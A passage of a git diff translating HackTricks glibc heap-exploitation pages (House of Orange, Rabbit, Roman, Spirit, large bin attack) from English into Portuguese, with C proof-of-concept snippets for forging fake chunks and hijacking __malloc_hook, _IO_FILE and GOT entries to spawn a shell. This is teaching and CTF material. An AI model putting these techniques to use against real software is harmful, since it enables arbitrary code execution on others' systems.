-The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
+A manipulação do bin pequeno permitirá que você controle o ponteiro para frente do chunk. A sobreposição com **\_IO_list_all** é usada para forjar uma estrutura **\_IO_FILE** falsa. A estrutura é cuidadosamente elaborada para incluir campos-chave como `_IO_write_base` e `_IO_write_ptr` definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde o código arbitrário (por exemplo, a função `system`) pode ser executado.
 
-To summarize the remaining part of the technique:
+Para resumir a parte restante da técnica:
 
-- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
-- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
+- **Reduzir o Antigo Chunk Superior**: Ajustar o tamanho do antigo chunk superior para **0x61** para caber em um bin pequeno.
+- **Configurar a Estrutura Falsa `_IO_FILE`**: Sobrepor o antigo chunk superior com a estrutura falsa **\_IO_FILE** e definir os campos adequadamente para sequestrar o fluxo de execução.
 
-The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
+O próximo passo envolve forjar uma estrutura falsa **\_IO_FILE** que se sobrepõe ao antigo chunk superior atualmente no bin não ordenado. Os primeiros bytes dessa estrutura são elaborados cuidadosamente para incluir um ponteiro para um comando (por exemplo, "/bin/sh") que será executado.
 
-Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
+Campos-chave na estrutura falsa **\_IO_FILE**, como `_IO_write_base` e `_IO_write_ptr`, são definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde o código arbitrário pode ser executado. Normalmente, este seria o endereço da função `system` ou outra função que pode executar comandos de shell.
 
-The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
+O ataque culmina quando uma chamada para `malloc` aciona a execução do código através da estrutura manipulada **\_IO_FILE**. Isso efetivamente permite a execução de código arbitrário, resultando tipicamente em um shell sendo gerado ou outro payload malicioso sendo executado.
 
-**Summary of the Attack:**
+**Resumo do Ataque:**
 
-1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
-2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
-3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
-4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
-5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
-6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
-7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
+1. **Configurar o chunk superior**: Alocar um chunk e modificar o tamanho do chunk superior.
+2. **Forçar o chunk superior para o bin não ordenado**: Alocar um chunk maior.
+3. **Vazar endereços da libc**: Usar a vulnerabilidade para ler do bin não ordenado.
+4. **Realizar o ataque ao bin não ordenado**: Escrever em **\_IO_list_all** usando um estouro.
+5. **Reduzir o antigo chunk superior**: Ajustar seu tamanho para caber em um bin pequeno.
+6. **Configurar uma estrutura falsa \_IO_FILE**: Forjar uma estrutura de arquivo falsa para sequestrar o fluxo de controle.
+7. **Acionar a execução de código**: Alocar um chunk para executar o ataque e rodar código arbitrário.
 
-This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
+Essa abordagem explora mecanismos de gerenciamento de heap, vazamentos de informações da libc e estouros de heap para alcançar a execução de código sem chamar diretamente `free`. Ao elaborar cuidadosamente a estrutura falsa **\_IO_FILE** e colocá-la na localização correta, o ataque pode sequestrar o fluxo de controle durante operações padrão de alocação de memória. Isso permite a execução de código arbitrário, potencialmente resultando em um shell ou outras atividades maliciosas.
 
-## References
+## Referências
 
 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
 - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md
index 230b7c63e..1a7d10240 100644
--- a/src/binary-exploitation/libc-heap/house-of-rabbit.md
+++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md
@@ -2,110 +2,92 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### Requirements
+### Requisitos
 
-1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
-2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
+1. **Capacidade de modificar o ponteiro fd do fast bin ou o tamanho**: Isso significa que você pode alterar o ponteiro para frente de um chunk no fastbin ou seu tamanho.
+2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um chunk grande ou mesclando o chunk superior, o que força o heap a consolidar chunks.
 
-### Goals
+### Objetivos
 
-1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
-2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
+1. **Criar chunks sobrepostos**: Para ter um chunk sobrepondo-se a outro, permitindo mais manipulações do heap.
+2. **Forjar chunks falsos**: Para enganar o alocador fazendo-o tratar um chunk falso como um chunk legítimo durante operações de heap.
 
-## Steps of the attack
+## Etapas do ataque
 
-### POC 1: Modify the size of a fast bin chunk
+### POC 1: Modificar o tamanho de um chunk do fast bin
 
-**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
-
-- **Step 1: Allocate Chunks**
+**Objetivo**: Criar um chunk sobreposto manipulando o tamanho de um chunk do fastbin.
 
+- **Etapa 1: Alocar Chunks**
 ```cpp
 unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
 unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
 malloc(0x10);                          // Allocates a small chunk to change the fastbin state
 ```
+Alocamos dois pedaços de 0x40 bytes cada. Esses pedaços serão colocados na lista de fast bin uma vez liberados.
 
-We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
-
-- **Step 2: Free Chunks**
-
+- **Passo 2: Liberar Pedaços**
 ```cpp
 free(chunk1);  // Frees the chunk at 0x602000
 free(chunk2);  // Frees the chunk at 0x602050
 ```
+Liberamos ambos os chunks, adicionando-os à lista fastbin.
 
-We free both chunks, adding them to the fastbin list.
-
-- **Step 3: Modify Chunk Size**
-
+- **Passo 3: Modificar o Tamanho do Chunk**
 ```cpp
 chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
 ```
+Mudamos os metadados de tamanho de `chunk1` para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
 
-We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
-
-- **Step 4: Trigger `malloc_consolidate`**
-
+- **Passo 4: Acionar `malloc_consolidate`**
 ```cpp
 malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation
 ```
+Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado de `chunk1` faz com que ele se sobreponha a `chunk2`.
 
-Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
+Após a consolidação, `chunk1` se sobrepõe a `chunk2`, permitindo uma exploração adicional.
 
-After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
+### POC 2: Modificar o ponteiro `fd`
 
-### POC 2: Modify the `fd` pointer
-
-**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
-
-- **Step 1: Allocate Chunks**
+**Objetivo**: Criar um bloco falso manipulando o ponteiro `fd` do fast bin.
 
+- **Passo 1: Alocar Blocos**
 ```cpp
 unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
 ```
+**Explicação**: Alocamos dois pedaços, um menor e um maior, para preparar o heap para o pedaço falso.
 
-**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
-
-- **Step 2: Create fake chunk**
-
+- **Passo 2: Criar pedaço falso**
 ```cpp
 chunk2[1] = 0x31;  // Fake chunk size 0x30
 chunk2[7] = 0x21;  // Next fake chunk
 chunk2[11] = 0x21; // Next-next fake chunk
 ```
+Escrevemos metadados de chunk falso em `chunk2` para simular chunks menores.
 
-We write fake chunk metadata into `chunk2` to simulate smaller chunks.
-
-- **Step 3: Free `chunk1`**
-
+- **Passo 3: Liberar `chunk1`**
 ```cpp
 free(chunk1);  // Frees the chunk at 0x602000
 ```
+**Explicação**: Liberamos `chunk1`, adicionando-o à lista fastbin.
 
-**Explanation**: We free `chunk1`, adding it to the fastbin list.
-
-- **Step 4: Modify `fd` of `chunk1`**
-
+- **Passo 4: Modificar `fd` de `chunk1`**
 ```cpp
 chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2
 ```
+**Explicação**: Mudamos o ponteiro para frente (`fd`) do `chunk1` para apontar para nosso chunk falso dentro do `chunk2`.
 
-**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
-
-- **Step 5: Trigger `malloc_consolidate`**
-
+- **Passo 5: Acionar `malloc_consolidate`**
 ```cpp
 malloc(5000);  // Allocate a large chunk to trigger heap consolidation
 ```
+Alocar um grande bloco novamente aciona `malloc_consolidate`, que processa o bloco falso.
 
-Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
+O bloco falso se torna parte da lista fastbin, tornando-se um bloco legítimo para exploração adicional.
 
-The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
+### Resumo
 
-### Summary
-
-The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
+A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que atacantes forjem blocos legítimos na heap, possibilitando várias formas de exploração. Compreender e praticar esses passos aprimorará suas habilidades de exploração de heap.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index a3deaf939..840dca92b 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -2,87 +2,82 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
+Esta foi uma técnica muito interessante que permitiu RCE sem leaks através de fastbins falsos, o ataque unsorted_bin e sobrescritas relativas. No entanto, foi [**corrigida**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
 
-### Code
+### Código
 
-- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
+- Você pode encontrar um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
 
-### Goal
+### Objetivo
 
-- RCE by abusing relative pointers
+- RCE abusando de ponteiros relativos
 
-### Requirements
+### Requisitos
 
-- Edit fastbin and unsorted bin pointers
-- 12 bits of randomness must be brute forced (0.02% chance) of working
+- Editar ponteiros de fastbin e unsorted bin
+- 12 bits de aleatoriedade devem ser forçados por força bruta (0,02% de chance) de funcionar
 
-## Attack Steps
+## Etapas do Ataque
 
-### Part 1: Fastbin Chunk points to \_\_malloc_hook
+### Parte 1: Fastbin Chunk aponta para \_\_malloc_hook
 
-Create several chunks:
+Crie vários chunks:
 
-- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
-- `chunk2` (0x80, offset 0x70): For good alignment
+- `fastbin_victim` (0x60, offset 0): Chunk UAF que será editado para apontar para o valor da LibC.
+- `chunk2` (0x80, offset 0x70): Para um bom alinhamento
 - `main_arena_use` (0x80, offset 0x100)
-- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
+- `relative_offset_heap` (0x60, offset 0x190): offset relativo no chunk 'main_arena_use'
 
-Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
+Então `free(main_arena_use)` que colocará este chunk na lista não ordenada e obterá um ponteiro para `main_arena + 0x68` nos ponteiros `fd` e `bk`.
 
-Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
-
-Then `relative_offset_heap` and `fastbin_victim` are freed.
+Agora é alocado um novo chunk `fake_libc_chunk(0x60)` porque conterá os ponteiros para `main_arena + 0x68` em `fd` e `bk`.
 
+Então `relative_offset_heap` e `fastbin_victim` são liberados.
 ```c
 /*
 Current heap layout:
-	0x0:   fastbin_victim       - size 0x70
-	0x70:  alignment_filler     - size 0x90
-	0x100: fake_libc_chunk      - size 0x70 (contains a fd ptr to main_arena + 0x68)
-	0x170: leftover_main        - size 0x20
-	0x190: relative_offset_heap - size 0x70
+0x0:   fastbin_victim       - size 0x70
+0x70:  alignment_filler     - size 0x90
+0x100: fake_libc_chunk      - size 0x70 (contains a fd ptr to main_arena + 0x68)
+0x170: leftover_main        - size 0x20
+0x190: relative_offset_heap - size 0x70
 
-	bin layout:
-			fastbin:  fastbin_victim -> relative_offset_heap
-			unsorted: leftover_main
+bin layout:
+fastbin:  fastbin_victim -> relative_offset_heap
+unsorted: leftover_main
 */
 ```
+-  `fastbin_victim` tem um `fd` apontando para `relative_offset_heap`
+-  `relative_offset_heap` é um offset de distância de `fake_libc_chunk`, que contém um ponteiro para `main_arena + 0x68`
+- Apenas mudando o último byte de `fastbin_victim.fd` é possível fazer com que `fastbin_victim` aponte para `main_arena + 0x68`
 
--  `fastbin_victim` has a `fd` pointing to `relative_offset_heap`
--  `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
-- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
+Para as ações anteriores, o atacante precisa ser capaz de modificar o ponteiro fd de `fastbin_victim`.
 
-For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
+Então, `main_arena + 0x68` não é tão interessante, então vamos modificá-lo para que o ponteiro aponte para **`__malloc_hook`**.
 
-Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
+Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Então, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
 
-Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
-
-(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
-
-Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
+(Para mais informações sobre os outros bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece de novo até funcionar).
 
+Então, 2 mallocs são realizados para remover os 2 chunks iniciais do fast bin e um terceiro é alocado para obter um chunk em **`__malloc_hook:`**
 ```c
 malloc(0x60);
 malloc(0x60);
 uint8_t* malloc_hook_chunk = malloc(0x60);
 ```
+### Parte 2: Ataque Unsorted_bin
 
-### Part 2: Unsorted_bin attack
-
-For more info you can check:
+Para mais informações, você pode verificar:
 
 {{#ref}}
 unsorted-bin-attack.md
 {{#endref}}
 
-But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
-
-For this we start getting a chunk and putting it into the **unsorted bin**:
+Mas basicamente permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque, escolhemos `__malloc_hook`. Então, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`.
 
+Para isso, começamos obtendo um chunk e colocando-o no **unsorted bin**:
 ```c
 uint8_t* unsorted_bin_ptr = malloc(0x80);
 malloc(0x30); // Don't want to consolidate
@@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
 // Free the chunk to create the UAF
 free(unsorted_bin_ptr);
 ```
-
-Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
+Use um UAF neste chunk para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (nós forçamos isso anteriormente).
 
 > [!CAUTION]
-> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
+> Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Então, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso, devemos **alocar o mesmo tamanho ou o programa travará.**
 
-So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
+Assim, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, realizamos após definir `__malloc_hook` em `unsorted_bin_ptr->bk`, só precisamos fazer: **`malloc(0x80)`**
 
-### Step 3: Set \_\_malloc_hook to system
+### Passo 3: Definir \_\_malloc_hook para system
 
-In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
+No primeiro passo, terminamos controlando um chunk contendo `__malloc_hook` (na variável `malloc_hook_chunk`) e no segundo passo conseguimos escrever `main_arena + 0x68` aqui.
 
-Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
+Agora, abusamos de uma sobrescrita parcial em `malloc_hook_chunk` para usar o endereço libc que escrevemos lá (`main_arena + 0x68`) para **apontar um endereço `one_gadget`**.
 
-Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
+Aqui é onde é necessário **forçar 12 bits de aleatoriedade** (mais informações no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
 
-Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
+Finalmente, uma vez que o endereço correto é sobrescrito, **chame `malloc` e acione o `one_gadget`**.
 
-## References
+## Referências
 
 - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
 - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md
index 1ce36fd14..de74fbd25 100644
--- a/src/binary-exploitation/libc-heap/house-of-spirit.md
+++ b/src/binary-exploitation/libc-heap/house-of-spirit.md
@@ -1,15 +1,14 @@
-# House of Spirit
+# Casa do Espírito
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-### Code
+### Código
 
 

 
-House of Spirit
-
+Casa do Espírito
 ```c
 #include 
 #include 
@@ -19,99 +18,96 @@
 // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
 
 struct fast_chunk {
-  size_t prev_size;
-  size_t size;
-  struct fast_chunk *fd;
-  struct fast_chunk *bk;
-  char buf[0x20];               // chunk falls in fastbin size range
+size_t prev_size;
+size_t size;
+struct fast_chunk *fd;
+struct fast_chunk *bk;
+char buf[0x20];               // chunk falls in fastbin size range
 };
 
 int main() {
-  struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
-  void *ptr, *victim;
+struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
+void *ptr, *victim;
 
-  ptr = malloc(0x30);
+ptr = malloc(0x30);
 
-  printf("Original alloc address: %p\n", ptr);
-  printf("Main fake chunk:%p\n", &fake_chunks[0]);
-  printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
+printf("Original alloc address: %p\n", ptr);
+printf("Main fake chunk:%p\n", &fake_chunks[0]);
+printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
 
-  // Passes size check of "free(): invalid size"
-  fake_chunks[0].size = sizeof(struct fast_chunk);
+// Passes size check of "free(): invalid size"
+fake_chunks[0].size = sizeof(struct fast_chunk);
 
-  // Passes "free(): invalid next size (fast)"
-  fake_chunks[1].size = sizeof(struct fast_chunk);
+// Passes "free(): invalid next size (fast)"
+fake_chunks[1].size = sizeof(struct fast_chunk);
 
-  // Attacker overwrites a pointer that is about to be 'freed'
-  // Point to .fd as it's the start of the content of the chunk
-  ptr = (void *)&fake_chunks[0].fd;
+// Attacker overwrites a pointer that is about to be 'freed'
+// Point to .fd as it's the start of the content of the chunk
+ptr = (void *)&fake_chunks[0].fd;
 
-  free(ptr);
+free(ptr);
 
-  victim = malloc(0x30);
-  printf("Victim: %p\n", victim);
+victim = malloc(0x30);
+printf("Victim: %p\n", victim);
 
-  return 0;
+return 0;
 }
 ```
-
 

 
-### Goal
+### Objetivo
 
-- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
+- Ser capaz de adicionar um endereço no tcache / fast bin para que mais tarde seja possível alocá-lo
 
-### Requirements
+### Requisitos
 
-- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
+- Este ataque requer que um atacante consiga criar alguns chunks rápidos falsos indicando corretamente o valor do tamanho e, em seguida, conseguir liberar o primeiro chunk falso para que ele entre no bin.
 
-### Attack
+### Ataque
 
-- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
-- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
-
-**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
+- Criar chunks falsos que contornem as verificações de segurança: você precisará de 2 chunks falsos basicamente indicando nas posições corretas os tamanhos corretos
+- De alguma forma, gerenciar para liberar o primeiro chunk falso para que ele entre no fast ou tcache bin e, em seguida, alocá-lo para sobrescrever aquele endereço
 
+**O código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **é ótimo para entender o ataque.** Embora este esquema do código resuma bem:
 ```c
 /*
-    this will be the structure of our two fake chunks:
-    assuming that you compiled it for x64
+this will be the structure of our two fake chunks:
+assuming that you compiled it for x64
 
-    +-------+---------------------+------+
-    | 0x00: | Chunk # 0 prev size | 0x00 |
-    +-------+---------------------+------+
-    | 0x08: | Chunk # 0 size      | 0x60 |
-    +-------+---------------------+------+
-    | 0x10: | Chunk # 0 content   | 0x00 |
-    +-------+---------------------+------+
-    | 0x60: | Chunk # 1 prev size | 0x00 |
-    +-------+---------------------+------+
-    | 0x68: | Chunk # 1 size      | 0x40 |
-    +-------+---------------------+------+
-    | 0x70: | Chunk # 1 content   | 0x00 |
-    +-------+---------------------+------+
++-------+---------------------+------+
+| 0x00: | Chunk # 0 prev size | 0x00 |
++-------+---------------------+------+
+| 0x08: | Chunk # 0 size      | 0x60 |
++-------+---------------------+------+
+| 0x10: | Chunk # 0 content   | 0x00 |
++-------+---------------------+------+
+| 0x60: | Chunk # 1 prev size | 0x00 |
++-------+---------------------+------+
+| 0x68: | Chunk # 1 size      | 0x40 |
++-------+---------------------+------+
+| 0x70: | Chunk # 1 content   | 0x00 |
++-------+---------------------+------+
 
-    for what we are doing the prev size values don't matter too much
-    the important thing is the size values of the heap headers for our fake chunks
+for what we are doing the prev size values don't matter too much
+the important thing is the size values of the heap headers for our fake chunks
 */
 ```
-
 > [!NOTE]
-> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
+> Note que é necessário criar o segundo chunk para contornar algumas verificações de sanidade.
 
-## Examples
+## Exemplos
 
 - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
 
-  - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
-  - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
-    Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
+- **Libc infoleak**: Através de um overflow, é possível mudar um ponteiro para apontar para um endereço GOT a fim de vazar um endereço libc via a ação de leitura do CTF.
+- **House of Spirit**: Abusando de um contador que conta o número de "rifles", é possível gerar um tamanho falso do primeiro chunk falso, então abusando de uma "mensagem", é possível falsificar o segundo tamanho de um chunk e, finalmente, abusando de um overflow, é possível mudar um ponteiro que vai ser liberado, de modo que nosso primeiro chunk falso seja liberado. Então, podemos alocá-lo e dentro dele haverá o endereço de onde a "mensagem" está armazenada. Então, é possível fazer com que isso aponte para a entrada `scanf` dentro da tabela GOT, para que possamos sobrescrevê-la com o endereço do sistema.\
+Na próxima vez que `scanf` for chamado, podemos enviar a entrada `"/bin/sh"` e obter um shell.
 
 - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
-  - **Glibc leak**: Uninitialized stack buffer.
-  - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
+- **Glibc leak**: Buffer de pilha não inicializado.
+- **House of Spirit**: Podemos modificar o primeiro índice de um array global de ponteiros de heap. Com uma única modificação de byte, usamos `free` em um chunk falso dentro de um chunk válido, de modo que obtemos uma situação de chunks sobrepostos após alocar novamente. Com isso, um simples ataque de envenenamento de Tcache funciona para obter uma primitiva de escrita arbitrária.
 
-## References
+## Referências
 
 - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)
 
diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md
index fb8a721c9..91a6f2574 100644
--- a/src/binary-exploitation/libc-heap/large-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/large-bin-attack.md
@@ -4,55 +4,53 @@
 
 ## Basic Information
 
-For more information about what is a large bin check this page:
+Para mais informações sobre o que é um large bin, consulte esta página:
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
